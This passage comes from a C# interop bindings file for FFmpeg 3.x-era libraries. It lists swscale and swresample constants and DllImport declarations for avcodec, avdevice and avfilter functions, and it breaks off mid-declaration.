PP_CPU_CAPS_ALTIVEC = 268435456; - - public const int PP_CPU_CAPS_AUTO = 524288; - - public const int PP_FORMAT = 8; - - public const int PP_FORMAT_420 = 25; - - public const int PP_FORMAT_422 = 9; - - public const int PP_FORMAT_411 = 10; - - public const int PP_FORMAT_444 = 8; - - public const int PP_FORMAT_440 = 24; - - public const int PP_PICT_TYPE_QP2 = 16; - - private const string libpostproc = "postproc-54"; - - public const int LIBSWRESAMPLE_VERSION_MAJOR = 2; - - public const int LIBSWRESAMPLE_VERSION_MINOR = 0; - - public const int LIBSWRESAMPLE_VERSION_MICRO = 101; - - public const int SWR_FLAG_RESAMPLE = 1; - - private const string libswresample = "swresample-2"; - - public const int LIBSWSCALE_VERSION_MAJOR = 4; - - public const int LIBSWSCALE_VERSION_MINOR = 0; - - public const int LIBSWSCALE_VERSION_MICRO = 100; - - public const int SWS_FAST_BILINEAR = 1; - - public const int SWS_BILINEAR = 2; - - public const int SWS_BICUBIC = 4; - - public const int SWS_X = 8; - - public const int SWS_POINT = 16; - - public const int SWS_AREA = 32; - - public const int SWS_BICUBLIN = 64; - - public const int SWS_GAUSS = 128; - - public const int SWS_SINC = 256; - - public const int SWS_LANCZOS = 512; - - public const int SWS_SPLINE = 1024; - - public const int SWS_SRC_V_CHR_DROP_MASK = 196608; - - public const int SWS_SRC_V_CHR_DROP_SHIFT = 16; - - public const int SWS_PARAM_DEFAULT = 123456; - - public const int SWS_PRINT_INFO = 4096; - - public const int SWS_FULL_CHR_H_INT = 8192; - - public const int SWS_FULL_CHR_H_INP = 16384; - - public const int SWS_DIRECT_BGR = 32768; - - public const int SWS_ACCURATE_RND = 262144; - - public const int SWS_BITEXACT = 524288; - - public const int SWS_ERROR_DIFFUSION = 8388608; - - public const double SWS_MAX_REDUCE_CUTOFF = 0.002; - - public const int SWS_CS_ITU709 = 1; - - public const int SWS_CS_FCC = 4; - - public const int SWS_CS_ITU601 = 5; - - public const int SWS_CS_ITU624 = 5; - - public const int SWS_CS_SMPTE170M = 5; - - public const int SWS_CS_SMPTE240M = 7; - - public const int SWS_CS_DEFAULT = 5; - - private const string libswscale = "swscale-4"; - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVRational av_codec_get_pkt_timebase(AVCodecContext* avctx); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_codec_set_pkt_timebase(AVCodecContext* avctx, AVRational val); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVCodecDescriptor* av_codec_get_codec_descriptor(AVCodecContext* avctx); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_codec_set_codec_descriptor(AVCodecContext* avctx, AVCodecDescriptor* desc); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern uint av_codec_get_codec_properties(AVCodecContext* avctx); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_codec_get_lowres(AVCodecContext* avctx); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_codec_set_lowres(AVCodecContext* avctx, int val); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_codec_get_seek_preroll(AVCodecContext* avctx); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_codec_set_seek_preroll(AVCodecContext* avctx, int val); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern ushort* av_codec_get_chroma_intra_matrix(AVCodecContext* avctx); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_codec_set_chroma_intra_matrix(AVCodecContext* avctx, ushort* val); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_codec_get_max_lowres(AVCodec* codec); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVCodec* av_codec_next(AVCodec* c); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public static extern uint avcodec_version(); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public static extern string avcodec_configuration(); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public static extern string avcodec_license(); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void avcodec_register(AVCodec* codec); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public static extern void avcodec_register_all(); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVCodecContext* avcodec_alloc_context3(AVCodec* codec); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void avcodec_free_context(AVCodecContext** avctx); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avcodec_get_context_defaults3(AVCodecContext* s, AVCodec* codec); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVClass* avcodec_get_class(); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVClass* avcodec_get_frame_class(); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVClass* avcodec_get_subtitle_rect_class(); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avcodec_copy_context(AVCodecContext* dest, AVCodecContext* src); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avcodec_open2(AVCodecContext* avctx, AVCodec* codec, AVDictionary** options); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avcodec_close(AVCodecContext* avctx); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void avsubtitle_free(AVSubtitle* sub); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVPacket* av_packet_alloc(); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVPacket* av_packet_clone(AVPacket* src); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_packet_free(AVPacket** pkt); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_init_packet(AVPacket* pkt); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_new_packet(AVPacket* pkt, int size); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_shrink_packet(AVPacket* pkt, int size); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_grow_packet(AVPacket* pkt, int grow_by); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_packet_from_data(AVPacket* pkt, sbyte* data, int size); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_dup_packet(AVPacket* pkt); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_copy_packet(AVPacket* dst, AVPacket* src); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_copy_packet_side_data(AVPacket* dst, AVPacket* src); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_free_packet(AVPacket* pkt); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern sbyte* av_packet_new_side_data(AVPacket* pkt, AVPacketSideDataType type, int size); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_packet_add_side_data(AVPacket* pkt, AVPacketSideDataType type, sbyte* data, ulong size); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_packet_shrink_side_data(AVPacket* pkt, AVPacketSideDataType type, int size); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern sbyte* av_packet_get_side_data(AVPacket* pkt, AVPacketSideDataType type, int* size); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_packet_merge_side_data(AVPacket* pkt); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_packet_split_side_data(AVPacket* pkt); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public static extern string av_packet_side_data_name(AVPacketSideDataType type); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern sbyte* av_packet_pack_dictionary(AVDictionary* dict, int* size); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_packet_unpack_dictionary(sbyte* data, int size, AVDictionary** dict); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_packet_free_side_data(AVPacket* pkt); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_packet_ref(AVPacket* dst, AVPacket* src); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_packet_unref(AVPacket* pkt); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_packet_move_ref(AVPacket* dst, AVPacket* src); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_packet_copy_props(AVPacket* dst, AVPacket* src); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_packet_rescale_ts(AVPacket* pkt, AVRational tb_src, AVRational tb_dst); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVCodec* avcodec_find_decoder(AVCodecID id); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVCodec* avcodec_find_decoder_by_name([MarshalAs(UnmanagedType.LPStr)] string name); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avcodec_default_get_buffer2(AVCodecContext* s, AVFrame* frame, int flags); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public static extern uint avcodec_get_edge_width(); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void avcodec_align_dimensions(AVCodecContext* s, int* width, int* height); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void avcodec_align_dimensions2(AVCodecContext* s, int* width, int* height, [MarshalAs(UnmanagedType.LPArray, SizeConst = 8)] int[] linesize_align); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avcodec_enum_to_chroma_pos(int* xpos, int* ypos, AVChromaLocation pos); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public static extern AVChromaLocation avcodec_chroma_pos_to_enum(int xpos, int ypos); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avcodec_decode_audio4(AVCodecContext* avctx, AVFrame* frame, int* got_frame_ptr, AVPacket* avpkt); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avcodec_decode_video2(AVCodecContext* avctx, AVFrame* picture, int* got_picture_ptr, AVPacket* avpkt); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avcodec_decode_subtitle2(AVCodecContext* avctx, AVSubtitle* sub, int* got_sub_ptr, AVPacket* avpkt); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVCodecParser* av_parser_next(AVCodecParser* c); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_register_codec_parser(AVCodecParser* parser); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVCodecParserContext* av_parser_init(int codec_id); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_parser_parse2(AVCodecParserContext* s, AVCodecContext* avctx, sbyte** poutbuf, int* poutbuf_size, sbyte* buf, int buf_size, long pts, long dts, long pos); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_parser_change(AVCodecParserContext* s, AVCodecContext* avctx, sbyte** poutbuf, int* poutbuf_size, sbyte* buf, int buf_size, int keyframe); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_parser_close(AVCodecParserContext* s); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVCodec* avcodec_find_encoder(AVCodecID id); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVCodec* avcodec_find_encoder_by_name([MarshalAs(UnmanagedType.LPStr)] string name); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avcodec_encode_audio2(AVCodecContext* avctx, AVPacket* avpkt, AVFrame* frame, int* got_packet_ptr); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avcodec_encode_video2(AVCodecContext* avctx, AVPacket* avpkt, AVFrame* frame, int* got_packet_ptr); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avcodec_encode_subtitle(AVCodecContext* avctx, sbyte* buf, int buf_size, AVSubtitle* sub); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern ReSampleContext* av_audio_resample_init(int output_channels, int input_channels, int output_rate, int input_rate, AVSampleFormat sample_fmt_out, AVSampleFormat sample_fmt_in, int filter_length, int log2_phase_count, int linear, double cutoff); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int audio_resample(ReSampleContext* s, short* output, short* input, int nb_samples); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void audio_resample_close(ReSampleContext* s); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVResampleContext* av_resample_init(int out_rate, int in_rate, int filter_length, int log2_phase_count, int linear, double cutoff); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_resample(AVResampleContext* c, short* dst, short* src, int* consumed, int src_size, int dst_size, int update_ctx); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_resample_compensate(AVResampleContext* c, int sample_delta, int compensation_distance); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_resample_close(AVResampleContext* c); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avpicture_alloc(AVPicture* picture, AVPixelFormat pix_fmt, int width, int height); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void avpicture_free(AVPicture* picture); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avpicture_fill(AVPicture* picture, sbyte* ptr, AVPixelFormat pix_fmt, int width, int height); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avpicture_layout(AVPicture* src, AVPixelFormat pix_fmt, int width, int height, sbyte* dest, int dest_size); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public static extern int avpicture_get_size(AVPixelFormat pix_fmt, int width, int height); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_picture_copy(AVPicture* dst, AVPicture* src, AVPixelFormat pix_fmt, int width, int height); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_picture_crop(AVPicture* dst, AVPicture* src, AVPixelFormat pix_fmt, int top_band, int left_band); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_picture_pad(AVPicture* dst, AVPicture* src, int height, int width, AVPixelFormat pix_fmt, int padtop, int padbottom, int padleft, int padright, int* color); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void avcodec_get_chroma_sub_sample(AVPixelFormat pix_fmt, int* h_shift, int* v_shift); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public static extern uint avcodec_pix_fmt_to_codec_tag(AVPixelFormat pix_fmt); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public static extern int avcodec_get_pix_fmt_loss(AVPixelFormat dst_pix_fmt, AVPixelFormat src_pix_fmt, int has_alpha); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVPixelFormat avcodec_find_best_pix_fmt_of_list(AVPixelFormat* pix_fmt_list, AVPixelFormat src_pix_fmt, int has_alpha, int* loss_ptr); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVPixelFormat avcodec_find_best_pix_fmt_of_2(AVPixelFormat dst_pix_fmt1, AVPixelFormat dst_pix_fmt2, AVPixelFormat src_pix_fmt, int has_alpha, int* loss_ptr); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVPixelFormat avcodec_find_best_pix_fmt2(AVPixelFormat dst_pix_fmt1, AVPixelFormat dst_pix_fmt2, AVPixelFormat src_pix_fmt, int has_alpha, int* loss_ptr); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVPixelFormat avcodec_default_get_format(AVCodecContext* s, AVPixelFormat* fmt); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void avcodec_set_dimensions(AVCodecContext* s, int width, int height); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public static extern ulong av_get_codec_tag_string(IntPtr buf, ulong buf_size, uint codec_tag); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void avcodec_string(IntPtr buf, int buf_size, AVCodecContext* enc, int encode); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern string av_get_profile_name(AVCodec* codec, int profile); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public static extern string avcodec_profile_name(AVCodecID codec_id, int profile); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avcodec_default_execute(AVCodecContext* c, IntPtr* func, void* arg, int* ret, int count, int size); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avcodec_default_execute2(AVCodecContext* c, IntPtr* func, void* arg, int* ret, int count); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avcodec_fill_audio_frame(AVFrame* frame, int nb_channels, AVSampleFormat sample_fmt, sbyte* buf, int buf_size, int align); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void avcodec_flush_buffers(AVCodecContext* avctx); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public static extern int av_get_bits_per_sample(AVCodecID codec_id); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public static extern AVCodecID av_get_pcm_codec(AVSampleFormat fmt, int be); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public static extern int av_get_exact_bits_per_sample(AVCodecID codec_id); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_get_audio_frame_duration(AVCodecContext* avctx, int frame_bytes); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_register_bitstream_filter(AVBitStreamFilter* bsf); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVBitStreamFilterContext* av_bitstream_filter_init([MarshalAs(UnmanagedType.LPStr)] string name); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_bitstream_filter_filter(AVBitStreamFilterContext* bsfc, AVCodecContext* avctx, [MarshalAs(UnmanagedType.LPStr)] string args, sbyte** poutbuf, int* poutbuf_size, sbyte* buf, int buf_size, int keyframe); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_bitstream_filter_close(AVBitStreamFilterContext* bsf); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVBitStreamFilter* av_bitstream_filter_next(AVBitStreamFilter* f); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_fast_padded_malloc(void* ptr, uint* size, ulong min_size); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_fast_padded_mallocz(void* ptr, uint* size, ulong min_size); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern uint av_xiphlacing(sbyte* s, uint v); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_log_missing_feature(void* avc, [MarshalAs(UnmanagedType.LPStr)] string feature, int want_sample); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_log_ask_for_sample(void* avc, [MarshalAs(UnmanagedType.LPStr)] string msg); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void av_register_hwaccel(AVHWAccel* hwaccel); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVHWAccel* av_hwaccel_next(AVHWAccel* hwaccel); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_lockmgr_register(IntPtr* cb); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public static extern AVMediaType avcodec_get_type(AVCodecID codec_id); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public static extern string avcodec_get_name(AVCodecID id); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avcodec_is_open(AVCodecContext* s); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_codec_is_encoder(AVCodec* codec); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int av_codec_is_decoder(AVCodec* codec); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVCodecDescriptor* avcodec_descriptor_get(AVCodecID id); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVCodecDescriptor* avcodec_descriptor_next(AVCodecDescriptor* prev); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVCodecDescriptor* avcodec_descriptor_get_by_name([MarshalAs(UnmanagedType.LPStr)] string name); - - [DllImport("avcodec-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVCPBProperties* av_cpb_properties_alloc(ulong* size); - - [DllImport("avdevice-57", CallingConvention = CallingConvention.Cdecl)] - public static extern uint avdevice_version(); - - [DllImport("avdevice-57", CallingConvention = CallingConvention.Cdecl)] - public static extern string avdevice_configuration(); - - [DllImport("avdevice-57", CallingConvention = CallingConvention.Cdecl)] - public static extern string avdevice_license(); - - [DllImport("avdevice-57", CallingConvention = CallingConvention.Cdecl)] - public static extern void avdevice_register_all(); - - [DllImport("avdevice-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVInputFormat* av_input_audio_device_next(AVInputFormat* d); - - [DllImport("avdevice-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVInputFormat* av_input_video_device_next(AVInputFormat* d); - - [DllImport("avdevice-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVOutputFormat* av_output_audio_device_next(AVOutputFormat* d); - - [DllImport("avdevice-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVOutputFormat* av_output_video_device_next(AVOutputFormat* d); - - [DllImport("avdevice-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avdevice_app_to_dev_control_message(AVFormatContext* s, AVAppToDevMessageType type, void* data, ulong data_size); - - [DllImport("avdevice-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avdevice_dev_to_app_control_message(AVFormatContext* s, AVDevToAppMessageType type, void* data, ulong data_size); - - [DllImport("avdevice-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avdevice_capabilities_create(AVDeviceCapabilitiesQuery** caps, AVFormatContext* s, AVDictionary** device_options); - - [DllImport("avdevice-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void avdevice_capabilities_free(AVDeviceCapabilitiesQuery** caps, AVFormatContext* s); - - [DllImport("avdevice-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avdevice_list_devices(AVFormatContext* s, AVDeviceInfoList** device_list); - - [DllImport("avdevice-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void avdevice_free_list_devices(AVDeviceInfoList** device_list); - - [DllImport("avdevice-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avdevice_list_input_sources(AVInputFormat* device, [MarshalAs(UnmanagedType.LPStr)] string device_name, AVDictionary* device_options, AVDeviceInfoList** device_list); - - [DllImport("avdevice-57", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avdevice_list_output_sinks(AVOutputFormat* device, [MarshalAs(UnmanagedType.LPStr)] string device_name, AVDictionary* device_options, AVDeviceInfoList** device_list); - - [DllImport("avfilter-6", CallingConvention = CallingConvention.Cdecl)] - public static extern uint avfilter_version(); - - [DllImport("avfilter-6", CallingConvention = CallingConvention.Cdecl)] - public static extern string avfilter_configuration(); - - [DllImport("avfilter-6", CallingConvention = CallingConvention.Cdecl)] - public static extern string avfilter_license(); - - [DllImport("avfilter-6", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avfilter_pad_count(AVFilterPad* pads); - - [DllImport("avfilter-6", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern string avfilter_pad_get_name(AVFilterPad* pads, int pad_idx); - - [DllImport("avfilter-6", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVMediaType avfilter_pad_get_type(AVFilterPad* pads, int pad_idx); - - [DllImport("avfilter-6", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avfilter_link(AVFilterContext* src, uint srcpad, AVFilterContext* dst, uint dstpad); - - [DllImport("avfilter-6", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void avfilter_link_free(AVFilterLink** link); - - [DllImport("avfilter-6", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avfilter_link_get_channels(AVFilterLink* link); - - [DllImport("avfilter-6", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void avfilter_link_set_closed(AVFilterLink* link, int closed); - - [DllImport("avfilter-6", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avfilter_config_links(AVFilterContext* filter); - - [DllImport("avfilter-6", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avfilter_process_command(AVFilterContext* filter, [MarshalAs(UnmanagedType.LPStr)] string cmd, [MarshalAs(UnmanagedType.LPStr)] string arg, IntPtr res, int res_len, int flags); - - [DllImport("avfilter-6", CallingConvention = CallingConvention.Cdecl)] - public static extern void avfilter_register_all(); - - [DllImport("avfilter-6", CallingConvention = CallingConvention.Cdecl)] - public static extern void avfilter_uninit(); - - [DllImport("avfilter-6", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avfilter_register(AVFilter* filter); - - [DllImport("avfilter-6", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVFilter* avfilter_get_by_name([MarshalAs(UnmanagedType.LPStr)] string name); - - [DllImport("avfilter-6", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVFilter* avfilter_next(AVFilter* prev); - - [DllImport("avfilter-6", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVFilter** av_filter_next(AVFilter** filter); - - [DllImport("avfilter-6", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avfilter_open(AVFilterContext** filter_ctx, AVFilter* filter, [MarshalAs(UnmanagedType.LPStr)] string inst_name); - - [DllImport("avfilter-6", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avfilter_init_filter(AVFilterContext* filter, [MarshalAs(UnmanagedType.LPStr)] string args, void* opaque); - - [DllImport("avfilter-6", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avfilter_init_str(AVFilterContext* ctx, [MarshalAs(UnmanagedType.LPStr)] string args); - - [DllImport("avfilter-6", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avfilter_init_dict(AVFilterContext* ctx, AVDictionary** options); - - [DllImport("avfilter-6", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern void avfilter_free(AVFilterContext* filter); - - [DllImport("avfilter-6", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern int avfilter_insert_filter(AVFilterLink* link, AVFilterContext* filt, uint filt_srcpad_idx, uint filt_dstpad_idx); - - [DllImport("avfilter-6", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVClass* avfilter_get_class(); - - [DllImport("avfilter-6", CallingConvention = CallingConvention.Cdecl)] - public unsafe static extern AVFilterGraph* avfilter_graph_alloc(); - - [DllImport("avfilter-6", CallingConvention = 